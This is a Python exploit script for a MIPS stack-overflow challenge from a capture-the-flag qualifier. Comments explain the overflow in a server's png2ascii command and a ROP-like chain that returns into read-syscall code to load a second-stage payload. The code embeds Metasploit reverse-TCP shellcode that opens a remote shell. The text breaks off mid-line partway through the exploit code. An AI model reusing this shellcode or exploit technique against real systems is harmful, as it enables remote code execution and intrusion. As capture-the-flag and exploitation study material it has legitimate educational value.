#!/usr/bin/env python # exploit by @jgrusko # The real problem here is getting a linux MIPS and actually understanding MIPS, which # i didn't :) So does hexray... # Fortunately someone bothered creating a small debian squeeze image, which can be used with # qemu-mips: http://people.debian.org/~aurel32/qemu/mips/ # The program is a server that allows connected client to send commands: # #IRIX (quals.ddtek.biz) #login: ^D #IRIX Release 6.5 IP32 ddtek #Copyright 1987-2002 Silic0n Graphix, Inc. All Rights Reserved. #Last login: Tue Jun 08 20:15:27 GMT 1954 by UNKNOWN@quals.ddtek.biz # #dd 0% help #Available commands: #qotd #ls #png2ascii #help #exit #quit #dd 1% png2ascii #Copy and paste your PNG file and I will convert it to ASCII for you: #AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA #AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA #AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA #AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA # # Issuing the "png2ascii" command and supplying a large string triggers a stack overflow # vulnerability. # The png2ascii() function is a follows: #.text:00401BC4 png2ascii_handler: #.. #.text:00401BD0 addiu $sp, -0x130 // reserve space on stack for # // local variables #.text:00401BD4 sw $ra, 0x130+var_4($sp) // push return address #.text:00401BD8 sw $fp, 0x130+var_8($sp) // push sfp #.text:00401BDC move $fp, $sp #... #.text:00401C4C addiu $v0, $fp, 0x130+var_108 // Load buffer into $v0 #.text:00401C50 lw $a0, 0x130+arg_0($fp) // load socket descriptor in $a0 #.text:00401C54 move $a1, $v0 // load buffer addr into $a1 #.text:00401C58 li $a2, 0x200 // load max size into $a2 #.text:00401C5C li $a3, 0xA // load delimiter into $a3 #.text:00401C60 la $t9, read_until_delim // load read_until_delim in $t9 #.text:00401C64 nop #.text:00401C68 jalr $t9 ; read_until_delim // call read_until_delim() func # # The read_until_delim function actually call a getc() like function inside a loop until the # supplied delimiter '\n' is encountered or the maximum buffer size is reached. # The function has the following prototype: # int read_until_delim(int sockfd, char *buffer, unsigned int max_size, char delim); # # However the maximum read size is 0x200, which is almost the double of the reserved stack # space. This is a classic stack overflow. # The real difficulty being dealing with the MIPS architecture # In order to get a one shot exploit, i decided to go for ROP-like exploitation. The big # problem is that MIPS is not ROPpers friendly since every opcode is 4-bytes it's unlikely to # find the required gadgets. # The solution I used was to return on the code performing the read syscall: #.text:0040F968 lw $gp, 0x20($sp) #.text:0040F96C sw $v0, 0x2c($sp) #.text:0040F970 lw $a0, 0x0($sp) // file descriptor #.text:0040F974 lw $a1, 0x4($sp) // destination buffer address #.text:0040F978 lw $a2, 0x8($sp) // read size #.text:0040F97C li $v0, 0xFA3 // read syscall #.text:0040F980 syscall 0 // perform syscall #.text:0040F984 sw $v0, 0x30+var_C($sp) #.text:0040F988 sw $a3, 0x30+var_8($sp) #.text:0040F98C lw $a0, 0x30+var_4($sp) #.text:0040F990 la $t9, -0x7ccc($gp) // load function address #.text:0040F994 nop #.text:0040F998 jalr $t9 // jump to function # # With the following stack layout: # 0x00000000 0x0040f968 // Return address (Address of above code) # 0x00000004 0x00000004 // socket filedescriptor # 0x00000008 0x10000000 // address of destination into .data section # 0x0000000c 0x00000400 // read size # 0x00000014 0x41414141 // junk # 0x00000018 0x41414141 // junk # 0x0000001c 0x41414141 // junk # 0x00000020 0x41414141 // junk # 0x00000024 0x10007ccc // goes into $gp register # # When the function will return, the code will actually read attacker second stage payload # into the address 0x10000000 in binary .data section. # The 0x10007ccc value is put into $gp by the instruction: # .text:0040F968 lw $gp, 0x20($sp) # When the following instruction is reached: # .text:0040F990 la $t9, -0x7ccc($gp) # .text:0040F994 nop # .text:0040F998 jalr $t9 // jump to function # The value at (0x10007ccc - 0x7ccc) = 0x10000000 will be put into $t9. # By just prepending the second stage payload with the dword 0x10000004 the code will jump # directly into the payload. # # Here's the actual exploit code: import struct import socket import sys # msfpayload linux/mipsle/shell_reverse_tcp LHOST=127.0.0.1 LPORT=4444 shellcode = ( "\xef\xff\x09\x24\xff\xff\x10\x05\x82\x82\x08\x28\x27\x48" "\x20\x01\x21\xc8\x3f\x01\x48\x85\xb9\xaf\x48\x85\xb9\x23" "\x00\x00\x1c\x3c\x00\x00\x9c\x27\x21\xe0\x99\x03\x00\x00" "\x89\x8f\xd8\xff\xbd\x27\xe8\x00\x2a\x25\x04\x00\x47\x8d" "\xe8\x00\x28\x8d\x00\x01\x04\x3c\x7f\x00\x83\x34\x18\x00" "\xb9\x27\x02\x00\x06\x24\x11\x5c\x05\x24\x08\x00\xa6\xa7" "\x0a\x00\xa5\xa7\x18\x00\xa8\xaf\x1c\x00\xa7\xaf\x0c\x00" "\xa3\xaf\x20\x00\xb9\xaf\x24\x00\xa0\xaf\x02\x00\x04\x24" "\x02\x00\x05\x24\x21\x30\x00\x00\x57\x10\x02\x24\x0c\x00" "\x00\x00\x21\x18\x40\x00\xff\xff\x02\x24\x1a\x00\x62\x10" "\x01\x00\x04\x24\x21\x20\x60\x00\x08\x00\xa5\x27\x10\x00" "\x06\x24\x4a\x10\x02\x24\x0c\x00\x00\x00\x0e\x00\x40\x14" "\x21\x28\x00\x00\xdf\x0f\x02\x24\x0c\x00\x00\x00\x01\x00" "\x05\x24\xdf\x0f\x02\x24\x0c\x00\x00\x00\x02\x00\x05\x24" "\xdf\x0f\x02\x24\x0c\x00\x00\x00\x21\x30\x00\x00\x21\x20" "\x20\x03\x20\x00\xa5\x27\xab\x0f\x02\x24\x0c\x00\x00\x00" "\x21\x20\x00\x00\xa1\x0f\x02\x24\x0c\x00\x00\x00\x08\x00" "\xe0\x03\x28\x00\xbd\x27\xa1\x0f\x02\x24\x0c\x00\x00\x00" "\xe5\xff\x00\x10\x21\x20\x60\x00\x2f\x62\x69\x6e\x2f\x73" "\x68\x00\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30" "\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30" "\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30" "\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30" "\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30" "\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30" ) retAddr = struct.pack("